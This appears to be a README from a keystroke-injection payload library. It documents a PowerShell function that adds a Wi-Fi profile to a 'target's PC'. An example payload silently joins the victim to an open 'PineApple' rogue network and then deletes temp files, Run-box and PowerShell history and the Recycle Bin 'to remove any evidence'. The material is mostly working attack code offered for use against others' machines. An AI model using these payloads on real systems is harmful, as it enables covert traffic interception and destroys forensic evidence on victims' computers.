## Description
This function will add a network profile to your targets PC
## The Function
### [Add-NetWork]
This function will accept 3 parameters, 1 is mandatory
You always have to provide the $SSID to give your network a name
The $Security parameter is defined automatically when providing a password or not
This will tell the function whether or not you need a wifi password for your network
If a wifi password is deemed necessary you provide it using the $PW variable
Set-up a new network profile on your targets PC using the following syntax:
```PowerShell
# For a network profile using a Password use:
Add-NetWork -SSID wifi-name -PW wifi-password
# For a network profile NOT using a Password use:
Add-NetWork -SSID wifi-name
```
```PowerShell
function Add-NetWork {
[CmdletBinding()]
param (
[Parameter (Mandatory = $True)]
[string]$SSID,
[Parameter (Mandatory = $False)]
[Alias("s")]
[string]$Security,
[Parameter (Mandatory = $False)]
[string]$PW
)
if (!$PW) {$Security = "f"}
if ($PW) {$Security = "t"}
# -------------------------------------------------------------------------------------------------
$sec = switch ( $Security )
{
"t" {
"
WPA2PSK
AES
false
passPhrase
false
$PW
"
}
"f" {
"
open
none
false
"
}
}
# -------------------------------------------------------------------------------------------------
$profilefile="ACprofile.xml"
$SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join''
$xmlfile="
$SSID
$SSIDHEX
$SSID
ESS
auto
$sec
"
$XMLFILE > ($profilefile)
netsh wlan add profile filename="$($profilefile)"
}
```
## Examples
Listed below are payloads that have used one of these functions:
- Add a Pineapple network profile
```PowerShell
$profilefile="Home.xml"
$SSID="PineApple"
$SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join''
$xmlfile="
$SSID
$SSIDHEX
$SSID
ESS
manual
open
none
false
"
$XMLFILE > ($profilefile)
netsh wlan add profile filename="$($profilefile)"
netsh wlan connect name=$SSID
#----------------------------------------------------------------------------------------------------
<#
.NOTES
This is to clean up behind you and remove any evidence to prove you were there
#>
# Delete contents of Temp folder
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
# Delete run box history
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
# Delete powershell history
Remove-Item (Get-PSreadlineOption).HistorySavePath
# Deletes contents of recycle bin
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
```